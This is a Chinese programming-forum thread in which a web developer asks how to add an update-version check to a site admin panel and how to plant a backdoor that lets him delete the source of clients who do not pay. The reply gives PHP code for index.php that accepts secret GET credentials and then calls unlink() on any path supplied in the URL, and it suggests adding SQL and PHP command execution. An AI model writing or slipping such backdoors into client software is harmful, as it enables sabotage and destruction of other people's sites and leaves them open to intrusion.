网站后台检查版本的代码怎么写, 还有怎么留后门?
想在网站后台增加一个功能:
如果客户现在的版本低于我最新发布的,就提醒升级。
还有些客户做好了网站就不给余款,是否可以留个后门,遇到那种不给余款还骂人的,就通过一个秘密地址把他网站源码 unlink()掉。
大牛们给个思路,谢谢。
------解决方案--------------------
不用想太复杂的。
例如有个叫index.php,很常见吧。
可以在里面加一个自己专用的方法做后门。
例如:
<br><?php<br>$hack = isset($_GET['hack'])? $_GET['hack'] : 0;<br>$hackusername = isset($_GET['hackusername'])? $_GET['hackusername'] : '';<br>$hackpassword = isset($_GET['hackpassword'])? $_GET['hackpassword'] : '';<br><br>if($hack==1 && md5($hackusername)=='xxxx' && md5($hackpassword)=='xxxxxx'){<br><br> $delfile = isset($_GET['delfile'])? $_GET['delfile'] : '';<br> if($delfile!=''){<br> delfile($delfile);<br> }<br><br> // 这里还可以做一个界面,可以输入sql,输入php执行命令那些.<br>}<br><br>function delfile($path){<br> unlink($path);<br>}<br>?><br>









